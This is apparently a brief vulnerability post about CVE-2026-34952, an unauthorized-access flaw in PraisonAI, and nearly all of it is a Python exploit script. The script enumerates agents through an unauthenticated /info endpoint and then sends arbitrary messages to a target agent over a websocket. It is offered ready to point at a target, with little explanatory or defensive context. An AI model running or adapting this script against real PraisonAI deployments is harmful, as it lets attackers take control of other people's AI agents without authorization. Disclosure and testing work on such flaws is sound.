CVE-2026-34952 PraisonAI未授权访问漏洞

import asyncio import websockets import requests import json TARGET_URL = "http://target-server" WS_URL = "ws://target-server/ws" # 1. Enumerate agents via /info print("[*] Fetching agent topology...") try: r = requests.get(f"{TARGET_URL}/info") if r.status_code == 200: agents = r.json() print(f"[+] Found agents: {agents}") except Exception as e: print(f"[-] Error fetching info: {e}") # 2. Connect and send arbitrary message async def send_exploit(): uri = WS_URL async with websockets.connect(uri) as websocket: # Construct malicious payload payload = { "agent": "target-agent-id", "message": "Arbitrary malicious command" } print(f"[*] Sending payload: {payload}") await websocket.send(json.dumps(payload)) response = await websocket.recv() print(f"[+] Received response: {response}") asyncio.get_event_loop().run_until_complete(send_exploit())